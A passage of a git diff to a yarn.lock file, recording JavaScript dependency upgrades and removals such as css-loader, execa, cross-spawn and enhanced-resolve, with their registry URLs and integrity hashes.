   resolved "https://registry.yarnpkg.com/concat-stream/-/concat-stream-1.6.2.tgz#904bdf194cd3122fc675c77fc4ac3d4ff0fd1a34"
   integrity sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==
@@ -2225,7 +2211,7 @@ console-control-strings@^1.0.0, console-control-strings@~1.1.0:
   resolved "https://registry.yarnpkg.com/console-control-strings/-/console-control-strings-1.1.0.tgz#3d7cf4464db6446ea644bf4b39507f9851008e8e"
   integrity sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4=
 
-constants-browserify@^1.0.0, constants-browserify@~1.0.0:
+constants-browserify@~1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/constants-browserify/-/constants-browserify-1.0.0.tgz#c20b96d8c617748aaf1c16021760cd27fcb8cb75"
   integrity sha1-wguW2MYXdIqvHBYCF2DNJ/y4y3U=
@@ -2269,35 +2255,18 @@ cookie@0.4.0:
   resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.4.0.tgz#beb437e7022b3b6d49019d088665303ebe9c14ba"
   integrity sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==
 
-copy-concurrently@^1.0.0:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/copy-concurrently/-/copy-concurrently-1.0.5.tgz#92297398cae34937fcafd6ec8139c18051f0b5e0"
-  integrity sha512-f2domd9fsVDFtaFcbaRZuYXwtdmnzqbADSwhSWYxYB/Q8zsdUUFMXVRwXGDMWmbEzAn1kdRrtI1T/KTFOL4X2A==
-  dependencies:
-    aproba "^1.1.1"
-    fs-write-stream-atomic "^1.0.8"
-    iferr "^0.1.5"
-    mkdirp "^0.5.1"
-    rimraf "^2.5.4"
-    run-queue "^1.0.0"
-
-copy-descriptor@^0.1.0:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/copy-descriptor/-/copy-descriptor-0.1.1.tgz#676f6eb3c39997c2ee1ac3a924fd6124748f578d"
-  integrity sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=
-
 core-js-compat@^3.9.0, core-js-compat@^3.9.1:
-  version "3.10.1"
-  resolved "https://registry.yarnpkg.com/core-js-compat/-/core-js-compat-3.10.1.tgz#62183a3a77ceeffcc420d907a3e6fc67d9b27f1c"
-  integrity sha512-ZHQTdTPkqvw2CeHiZC970NNJcnwzT6YIueDMASKt+p3WbZsLXOcoD392SkcWhkC0wBBHhlfhqGKKsNCQUozYtg==
+  version "3.11.1"
+  resolved "https://registry.yarnpkg.com/core-js-compat/-/core-js-compat-3.11.1.tgz#57a91e9b02d3bb8cf37f82eceaf44a3d646fa614"
+  integrity sha512-aZ0e4tmlG/aOBHj92/TuOuZwp6jFvn1WNabU5VOVixzhu5t5Ao+JZkQOPlgNXu6ynwLrwJxklT4Gw1G1VGEh+g==
   dependencies:
-    browserslist "^4.16.3"
+    browserslist "^4.16.5"
     semver "7.0.0"
 
-core-js@^3.6.5:
-  version "3.10.1"
-  resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.10.1.tgz#e683963978b6806dcc6c0a4a8bd4ab0bdaf3f21a"
-  integrity sha512-pwCxEXnj27XG47mu7SXAwhLP3L5CrlvCB91ANUkIz40P27kUcvNfSdvyZJ9CLHiVoKSp+TTChMQMSKQEH/IQxA==
+core-js@^3.6:
+  version "3.11.1"
+  resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.11.1.tgz#f920392bf8ed63a0ec8e4e729857bfa3d121c525"
+  integrity sha512-k93Isqg7e4txZWMGNYwevZL9MiogLk8pd1PtwrmFmi8IBq4GXqUaVW/a33Llt6amSI36uSjd0GWwc9pTT9ALlQ==
 
 core-util-is@1.0.2, core-util-is@~1.0.0:
   version "1.0.2"
@@ -2353,18 +2322,16 @@ cross-spawn@^3.0.0:
     lru-cache "^4.0.1"
     which "^1.2.9"
 
-cross-spawn@^6.0.0, cross-spawn@^6.0.5:
-  version "6.0.5"
-  resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-6.0.5.tgz#4a5ec7c64dfae22c3a14124dbacdee846d80cbc4"
-  integrity sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==
+cross-spawn@^7.0.3:
+  version "7.0.3"
+  resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-7.0.3.tgz#f73a85b9d5d41d045551c177e2882d4ac85728a6"
+  integrity sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==
   dependencies:
-    nice-try "^1.0.4"
-    path-key "^2.0.1"
-    semver "^5.5.0"
-    shebang-command "^1.2.0"
-    which "^1.2.9"
+    path-key "^3.1.0"
+    shebang-command "^2.0.0"
+    which "^2.0.1"
 
-crypto-browserify@^3.0.0, crypto-browserify@^3.11.0:
+crypto-browserify@^3.0.0:
   version "3.12.0"
   resolved "https://registry.yarnpkg.com/crypto-browserify/-/crypto-browserify-3.12.0.tgz#396cf9f3137f03e4b8e532c58f698254e00f80ec"
   integrity sha512-fz4spIh+znjO2VjL+IdhEpRJ3YN6sMzITSBijk6FK2UvTqruSQW+/cCZTSNsMiZNvUeq0CqurF+dAbyiGOY6Wg==
@@ -2394,22 +2361,37 @@ css-declaration-sorter@^4.0.1:
     postcss "^7.0.1"
     timsort "^0.3.0"
 
-css-loader@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/css-loader/-/css-loader-2.1.1.tgz#d8254f72e412bb2238bb44dd674ffbef497333ea"
-  integrity sha512-OcKJU/lt232vl1P9EEDamhoO9iKY3tIjY5GU+XDLblAykTdgs6Ux9P1hTHve8nFKy5KPpOXOsVI/hIwi3841+w==
+css-loader@^5.0.1:
+  version "5.2.4"
+  resolved "https://registry.yarnpkg.com/css-loader/-/css-loader-5.2.4.tgz#e985dcbce339812cb6104ef3670f08f9893a1536"
+  integrity sha512-OFYGyINCKkdQsTrSYxzGSFnGS4gNjcXkKkQgWxK138jgnPt+lepxdjSZNc8sHAl5vP3DhsJUxufWIjOwI8PMMw==
   dependencies:
-    camelcase "^5.2.0"
-    icss-utils "^4.1.0"
-    loader-utils "^1.2.3"
-    normalize-path "^3.0.0"
-    postcss "^7.0.14"
-    postcss-modules-extract-imports "^2.0.0"
-    postcss-modules-local-by-default "^2.0.6"
-    postcss-modules-scope "^2.1.0"
-    postcss-modules-values "^2.0.0"
-    postcss-value-parser "^3.3.0"
-    schema-utils "^1.0.0"
+    camelcase "^6.2.0"
+    icss-utils "^5.1.0"
+    loader-utils "^2.0.0"
+    postcss "^8.2.10"
+    postcss-modules-extract-imports "^3.0.0"
+    postcss-modules-local-by-default "^4.0.0"
+    postcss-modules-scope "^3.0.0"
+    postcss-modules-values "^4.0.0"
+    postcss-value-parser "^4.1.0"
+    schema-utils "^3.0.0"
+    semver "^7.3.5"
+
+css-minimizer-webpack-plugin@^1.1.5:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-1.3.0.tgz#d867b4a54ca9920125b30263505e8cca72bc8cf1"
+  integrity sha512-jFa0Siplmfef4ndKglpVaduY47oHQwioAOEGK0f0vAX0s+vc+SmP6cCMoc+8Adau5600RnOEld5VVdC8CQau7w==
+  dependencies:
+    cacache "^15.0.5"
+    cssnano "^4.1.10"
+    find-cache-dir "^3.3.1"
+    jest-worker "^26.3.0"
+    p-limit "^3.0.2"
+    schema-utils "^3.0.0"
+    serialize-javascript "^5.0.1"
+    source-map "^0.6.1"
+    webpack-sources "^1.4.3"
 
 css-select-base-adapter@^0.1.1:
   version "0.1.1"
@@ -2544,11 +2526,6 @@ currently-unhandled@^0.4.1:
   dependencies:
     array-find-index "^1.0.1"
 
-cyclist@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/cyclist/-/cyclist-1.0.1.tgz#596e9698fd0c80e12038c2b82d6eb1b35b6224d9"
-  integrity sha1-WW6WmP0MgOEgOMK4LW6xs1tiJNk=
-
 d@1, d@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/d/-/d-1.0.1.tgz#8698095372d58dbee346ffd0c7093f99f8f9eb5a"
@@ -2584,7 +2561,7 @@ datatables.net@1.10.24, datatables.net@^1.10.19:
   dependencies:
     jquery ">=1.7"
 
-daterangepicker@^3.1.0:
+daterangepicker@^3.1:
   version "3.1.0"
   resolved "https://registry.yarnpkg.com/daterangepicker/-/daterangepicker-3.1.0.tgz#718d606614331df3e774c9aba82ccd8838d45da1"
   integrity sha512-DxWXvvPq4srWLCqFugqSV+6CBt/CvQ0dnpXhQ3gl0autcIDAruG1PuGG3gC7yPRNytAD1oU1AcUOzaYhOawhTw==
@@ -2592,14 +2569,14 @@ daterangepicker@^3.1.0:
     jquery ">=1.10"
     moment "^2.9.0"
 
-debug@2.6.9, debug@^2.2.0, debug@^2.3.3:
+debug@2.6.9:
   version "2.6.9"
   resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f"
   integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==
   dependencies:
     ms "2.0.0"
 
-debug@^3.1.1, debug@^3.2.6:
+debug@^3.1.1:
   version "3.2.7"
   resolved "https://registry.yarnpkg.com/debug/-/debug-3.2.7.tgz#72580b7e9145fb39b6676f9c5e5fb100b934179a"
   integrity sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==
@@ -2635,13 +2612,12 @@ deep-equal@^1.0.1:
     object-keys "^1.1.1"
     regexp.prototype.flags "^1.2.0"
 
-default-gateway@^4.2.0:
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/default-gateway/-/default-gateway-4.2.0.tgz#167104c7500c2115f6dd69b0a536bb8ed720552b"
-  integrity sha512-h6sMrVB1VMWVrW13mSc6ia/DwYYw5MN6+exNu1OaJeFac5aSAvwM7lZ0NVfTABuSkQelr4h5oebg3KB1XPdjgA==
+default-gateway@^6.0.0:
+  version "6.0.3"
+  resolved "https://registry.yarnpkg.com/default-gateway/-/default-gateway-6.0.3.tgz#819494c888053bdb743edbf343d6cdf7f2943a71"
+  integrity sha512-fwSOJsbbNzZ/CUFpqFBqYfYNLj1NbMPm8MMCIzHjC83iSJRBEGmDUxU+WP661BaBQImeC2yHwXtz+P/O9o+XEg==
   dependencies:
-    execa "^1.0.0"
-    ip-regex "^2.1.0"
+    execa "^5.0.0"
 
 define-properties@^1.1.3:
   version "1.1.3"
@@ -2650,28 +2626,6 @@ define-properties@^1.1.3:
   dependencies:
     object-keys "^1.0.12"
 
-define-property@^0.2.5:
-  version "0.2.5"
-  resolved "https://registry.yarnpkg.com/define-property/-/define-property-0.2.5.tgz#c35b1ef918ec3c990f9a5bc57be04aacec5c8116"
-  integrity sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=
-  dependencies:
-    is-descriptor "^0.1.0"
-
-define-property@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/define-property/-/define-property-1.0.0.tgz#769ebaaf3f4a63aad3af9e8d304c9bbe79bfb0e6"
-  integrity sha1-dp66rz9KY6rTr56NMEybvnm/sOY=
-  dependencies:
-    is-descriptor "^1.0.0"
-
-define-property@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/define-property/-/define-property-2.0.2.tgz#d459689e8d654ba77e02a817f8710d702cb16e9d"
-  integrity sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==
-  dependencies:
-    is-descriptor "^1.0.2"
-    isobject "^3.0.1"
-
 defined@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/defined/-/defined-1.0.0.tgz#c98d9bcef75674188e110969151199e39b1fa693"
@@ -2690,6 +2644,20 @@ del@^4.1.1:
     pify "^4.0.1"
     rimraf "^2.6.3"
 
+del@^6.0.0:
+  version "6.0.0"
+  resolved "https://registry.yarnpkg.com/del/-/del-6.0.0.tgz#0b40d0332cea743f1614f818be4feb717714c952"
+  integrity sha512-1shh9DQ23L16oXSZKB2JxpL7iMy2E0S9d517ptA1P8iw0alkPtQcrKH7ru31rYtKwF499HkTu+DRzq3TCKDFRQ==
+  dependencies:
+    globby "^11.0.1"
+    graceful-fs "^4.2.4"
+    is-glob "^4.0.1"
+    is-path-cwd "^2.2.0"
+    is-path-inside "^3.0.2"
+    p-map "^4.0.0"
+    rimraf "^3.0.2"
+    slash "^3.0.0"
+
 delayed-stream@~1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/delayed-stream/-/delayed-stream-1.0.0.tgz#df3ae199acadfb7d440aaae0b29e2272b24ec619"
@@ -2728,11 +2696,6 @@ destroy@~1.0.4:
   resolved "https://registry.yarnpkg.com/destroy/-/destroy-1.0.4.tgz#978857442c44749e4206613e37946205826abd80"
   integrity sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=
 
-detect-file@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/detect-file/-/detect-file-1.0.0.tgz#f0d66d03672a825cb1b73bdb3fe62310c8e552b7"
-  integrity sha1-8NZtA2cqglyxtzvbP+YjEMjlUrc=
-
 detect-node@^2.0.4:
   version "2.0.5"
   resolved "https://registry.yarnpkg.com/detect-node/-/detect-node-2.0.5.tgz#9d270aa7eaa5af0b72c4c9d9b814e7f4ce738b79"
@@ -2756,6 +2719,13 @@ diffie-hellman@^5.0.0:
     miller-rabin "^4.0.0"
     randombytes "^2.0.0"
 
+dir-glob@^3.0.1:
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/dir-glob/-/dir-glob-3.0.1.tgz#56dbf73d992a4a93ba1584f4534063fd2e41717f"
+  integrity sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==
+  dependencies:
+    path-type "^4.0.0"
+
 dns-equal@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/dns-equal/-/dns-equal-1.0.0.tgz#b39e7f1da6eb0a75ba9c17324b34753c47e0654d"
@@ -2791,7 +2761,7 @@ dom-serializer@0:
     domelementtype "^2.0.1"
     entities "^2.0.0"
 
-domain-browser@^1.1.1, domain-browser@^1.2.0:
+domain-browser@^1.2.0:
   version "1.2.0"
   resolved "https://registry.yarnpkg.com/domain-browser/-/domain-browser-1.2.0.tgz#3d31f50191a6749dd1375a7f522e823d42e54eda"
   integrity sha512-jnjyiM6eRyZl2H+W8Q/zLMA481hzi0eszAaBUzIVnmYVDBbnLxVNnfu1HgEBvCbL+71FrxMl3E6lpKH7Ge3OXA==
@@ -2844,16 +2814,6 @@ duplexer2@^0.1.2, duplexer2@~0.1.0, duplexer2@~0.1.2:
   dependencies:
     readable-stream "^2.0.2"
 
-duplexify@^3.4.2, duplexify@^3.6.0:
-  version "3.7.1"
-  resolved "https://registry.yarnpkg.com/duplexify/-/duplexify-3.7.1.tgz#2a4df5317f6ccfd91f86d6fd25d8d8a103b88309"
-  integrity sha512-07z8uv2wMyS51kKhD1KsdXJg5WQ6t93RneqRxUHnskXVtlYYkLqM0gqStQZ3pj073g687jPCHrqNfCzawLYh5g==
-  dependencies:
-    end-of-stream "^1.0.0"
-    inherits "^2.0.1"
-    readable-stream "^2.0.0"
-    stream-shift "^1.0.0"
-
 ecc-jsbn@~0.1.1:
   version "0.1.2"
   resolved "https://registry.yarnpkg.com/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz#3a83a904e54353287874c564b7549386849a98c9"
@@ -2867,10 +2827,10 @@ ee-first@1.1.1:
   resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d"
   integrity sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=
 
-electron-to-chromium@^1.3.712:
-  version "1.3.717"
-  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.3.717.tgz#78d4c857070755fb58ab64bcc173db1d51cbc25f"
-  integrity sha512-OfzVPIqD1MkJ7fX+yTl2nKyOE4FReeVfMCzzxQS+Kp43hZYwHwThlGP+EGIZRXJsxCM7dqo8Y65NOX/HP12iXQ==
+electron-to-chromium@^1.3.719:
+  version "1.3.723"
+  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.3.723.tgz#52769a75635342a4db29af5f1e40bd3dad02c877"
+  integrity sha512-L+WXyXI7c7+G1V8ANzRsPI5giiimLAUDC6Zs1ojHHPhYXb3k/iTABFmWjivEtsWrRQymjnO66/rO2ZTABGdmWg==
 
 elliptic@^6.5.3:
   version "6.5.4"
@@ -2905,21 +2865,20 @@ encodeurl@~1.0.2:
   resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59"
   integrity sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=
 
-end-of-stream@^1.0.0, end-of-stream@^1.1.0:
-  version "1.4.4"
-  resolved "https://registry.yarnpkg.com/end-of-stream/-/end-of-stream-1.4.4.tgz#5ae64a5f45057baf3626ec14da0ca5e4b2431eb0"
-  integrity sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==
+enhanced-resolve@^5.8.0:
+  version "5.8.0"
+  resolved "https://registry.yarnpkg.com/enhanced-resolve/-/enhanced-resolve-5.8.0.tgz#d9deae58f9d3773b6a111a5a46831da5be5c9ac0"
+  integrity sha512-Sl3KRpJA8OpprrtaIswVki3cWPiPKxXuFxJXBp+zNb6s6VwNWwFRUdtmzd2ReUut8n+sCPx7QCtQ7w5wfJhSgQ==
   dependencies:
-    once "^1.4.0"
+    graceful-fs "^4.2.4"
+    tapable "^2.2.0"
 
-enhanced-resolve@^4.1.1, enhanced-resolve@^4.5.0:
-  version "4.5.0"
-  resolved "https://registry.yarnpkg.com/enhanced-resolve/-/enhanced-resolve-4.5.0.tgz#2f3cfd84dbe3b487f18f2db2ef1e064a571ca5ec"
-  integrity sha512-Nv9m36S/vxpsI+Hc4/ZGRs0n9mXqSWGGq49zxb/cJfPAQMbUtttJAlNPS4AQzaBdw/pKskw5bMbekT/Y7W/Wlg==
+enquirer@^2.3.6:
+  version "2.3.6"
+  resolved "https://registry.yarnpkg.com/enquirer/-/enquirer-2.3.6.tgz#2a7fe5dd634a1e4125a975ec994ff5456dc3734d"
+  integrity sha512-yjNnPr315/FjS4zIsUxYguYUPP2e1NK4d7E7ZOLiyYCcbFBiTMyID+2wvm2w6+pZ/odMA7cRkjhsPbltwBOrLg==
   dependencies:
-    graceful-fs "^4.1.2"
-    memory-fs "^0.5.0"
-    tapable "^1.0.0"
+    ansi-colors "^4.1.1"
 
 entities@^1.1.1:
   version "1.1.2"
@@ -2931,12 +2890,10 @@ entities@^2.0.0:
   resolved "https://registry.yarnpkg.com/entities/-/entities-2.2.0.tgz#098dc90ebb83d8dffa089d55256b351d34c4da55"
   integrity sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==
 
-errno@^0.1.3, errno@~0.1.7:
-  version "0.1.8"
-  resolved "https://registry.yarnpkg.com/errno/-/errno-0.1.8.tgz#8bb3e9c7d463be4976ff888f76b4809ebc2e811f"
-  integrity sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==
-  dependencies:
-    prr "~1.0.1"
+envinfo@^7.7.3:
+  version "7.8.1"
+  resolved "https://registry.yarnpkg.com/envinfo/-/envinfo-7.8.1.tgz#06377e3e5f4d379fea7ac592d5ad8927e0c4d475"
+  integrity sha512-/o+BXHmB7ocbHEAs6F2EnG0ogybVVUdkRunTT2glZU9XAaGmhqskrvKwqXuDfNjEO0LZKWdejEEpnq8aM0tOaw==
 
 error-ex@^1.2.0, error-ex@^1.3.1:
   version "1.3.2"
@@ -2974,6 +2931,11 @@ es-abstract@^1.17.2, es-abstract@^1.18.0-next.1, es-abstract@^1.18.0-next.2:
     string.prototype.trimstart "^1.0.4"
     unbox-primitive "^1.0.0"
 
+es-module-lexer@^0.4.0:
+  version "0.4.1"
+  resolved "https://registry.yarnpkg.com/es-module-lexer/-/es-module-lexer-0.4.1.tgz#dda8c6a14d8f340a24e34331e0fab0cb50438e0e"
+  integrity sha512-ooYciCUtfw6/d2w56UVeqHPcoCFAiJdz5XOkYpv/Txl1HMUozpXjz/2RIQgqwKdXNDPSF1W7mJCFse3G+HDyAA==
+
 es-to-primitive@^1.2.1:
   version "1.2.1"
   resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.2.1.tgz#e55cd4c9cdc188bcefb03b366c736323fc5c898a"
@@ -3019,22 +2981,22 @@ escape-html@~1.0.3:
   resolved "https://registry.yarnpkg.com/escape-html/-/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988"
   integrity sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=
 
-escape-string-regexp@4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz#14ba83a5d373e3d311e5afca29cf5bfad965bf34"
-  integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==
-
 escape-string-regexp@^1.0.2, escape-string-regexp@^1.0.5:
   version "1.0.5"
   resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4"
   integrity sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=
 
-eslint-scope@^4.0.3:
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-4.0.3.tgz#ca03833310f6889a3264781aa82e63eb9cfe7848"
-  integrity sha512-p7VutNr1O/QrxysMo3E45FjYDTeXBy0iTltPFNSqKAIfjDSXC+4dj+qfyuD8bfAXrW/y6lW3O76VaYNPKfpKrg==
+escape-string-regexp@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz#14ba83a5d373e3d311e5afca29cf5bfad965bf34"
+  integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==
+
+eslint-scope@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-5.1.1.tgz#e786e59a66cb92b3f6c1fb0d508aab174848f48c"
+  integrity sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==
   dependencies:
-    esrecurse "^4.1.0"
+    esrecurse "^4.3.0"
     estraverse "^4.1.1"
 
 esprima@^4.0.0:
@@ -3042,7 +3004,7 @@ esprima@^4.0.0:
   resolved "https://registry.yarnpkg.com/esprima/-/esprima-4.0.1.tgz#13b04cdb3e6c5d19df91ab6987a8695619b0aa71"
   integrity sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==
 
-esrecurse@^4.1.0:
+esrecurse@^4.3.0:
   version "4.3.0"
   resolved "https://registry.yarnpkg.com/esrecurse/-/esrecurse-4.3.0.tgz#7ad7964d679abb28bee72cec63758b1c5d2c9921"
   integrity sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==
@@ -3079,18 +3041,11 @@ eventemitter3@^4.0.0:
   resolved "https://registry.yarnpkg.com/eventemitter3/-/eventemitter3-4.0.7.tgz#2de9b68f6528d5644ef5c59526a1b4a07306169f"
   integrity sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==
 
-events@^3.0.0:
+events@^3.0.0, events@^3.2.0:
   version "3.3.0"
   resolved "https://registry.yarnpkg.com/events/-/events-3.3.0.tgz#31a95ad0a924e2d2c419a813aeb2c4e878ea7400"
   integrity sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==
 
-eventsource@^1.0.7:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/eventsource/-/eventsource-1.1.0.tgz#00e8ca7c92109e94b0ddf32dac677d841028cfaf"
-  integrity sha512-VSJjT5oCNrFvCS6igjzPAt5hBzQ2qPBFIbJ03zLI9SE0mxwZpMw6BfJrbFHm1a141AavMEB8JHmBhWAd66PfCg==
-  dependencies:
-    original "^1.0.0"
-
 evp_bytestokey@^1.0.0, evp_bytestokey@^1.0.3:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/evp_bytestokey/-/evp_bytestokey-1.0.3.tgz#7fcbdb198dc71959432efe13842684e0525acb02"
@@ -3099,38 +3054,20 @@ evp_bytestokey@^1.0.0, evp_bytestokey@^1.0.3:
     md5.js "^1.3.4"
     safe-buffer "^5.1.1"
 
-execa@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/execa/-/execa-1.0.0.tgz#c6236a5bb4df6d6f15e88e7f017798216749ddd8"
-  integrity sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==
-  dependencies:
-    cross-spawn "^6.0.0"
-    get-stream "^4.0.0"
-    is-stream "^1.1.0"
-    npm-run-path "^2.0.0"
-    p-finally "^1.0.0"
-    signal-exit "^3.0.0"
-    strip-eof "^1.0.0"
-
-expand-brackets@^2.1.4:
-  version "2.1.4"
-  resolved "https://registry.yarnpkg.com/expand-brackets/-/expand-brackets-2.1.4.tgz#b77735e315ce30f6b6eff0f83b04151a22449622"
-  integrity sha1-t3c14xXOMPa27/D4OwQVGiJEliI=
-  dependencies:
-    debug "^2.3.3"
-    define-property "^0.2.5"
-    extend-shallow "^2.0.1"
-    posix-character-classes "^0.1.0"
-    regex-not "^1.0.0"
-    snapdragon "^0.8.1"
-    to-regex "^3.0.1"
-
-expand-tilde@^2.0.0, expand-tilde@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/expand-tilde/-/expand-tilde-2.0.2.tgz#97e801aa052df02454de46b02bf621642cdc8502"
-  integrity sha1-l+gBqgUt8CRU3kawK/YhZCzchQI=
-  dependencies:
-    homedir-polyfill "^1.0.1"
+execa@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/execa/-/execa-5.0.0.tgz#4029b0007998a841fbd1032e5f4de86a3c1e3376"
+  integrity sha512-ov6w/2LCiuyO4RLYGdpFGjkcs0wMTgGE8PrkTHikeUy5iJekXyPIKUjifk5CsE0pt7sMCrMZ3YNqoCj6idQOnQ==
+  dependencies:
+    cross-spawn "^7.0.3"
+    get-stream "^6.0.0"
+    human-signals "^2.1.0"
+    is-stream "^2.0.0"
+    merge-stream "^2.0.0"
+    npm-run-path "^4.0.1"
+    onetime "^5.1.2"
+    signal-exit "^3.0.3"
+    strip-final-newline "^2.0.0"
 
 express@^4.17.1:
   version "4.17.1"
@@ -3175,40 +3112,11 @@ ext@^1.1.2:
   dependencies:
     type "^2.0.0"
 
-extend-shallow@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/extend-shallow/-/extend-shallow-2.0.1.tgz#51af7d614ad9a9f610ea1bafbb989d6b1c56890f"
-  integrity sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=
-  dependencies:
-    is-extendable "^0.1.0"
-
-extend-shallow@^3.0.0, extend-shallow@^3.0.2:
-  version "3.0.2"
-  resolved "https://registry.yarnpkg.com/extend-shallow/-/extend-shallow-3.0.2.tgz#26a71aaf073b39fb2127172746131c2704028db8"
-  integrity sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=
-  dependencies:
-    assign-symbols "^1.0.0"
-    is-extendable "^1.0.1"
-
 extend@~3.0.2:
   version "3.0.2"
   resolved "https://registry.yarnpkg.com/extend/-/extend-3.0.2.tgz#f8b1136b4071fbd8eb140aff858b1019ec2915fa"
   integrity sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==
 
-extglob@^2.0.4:
-  version "2.0.4"
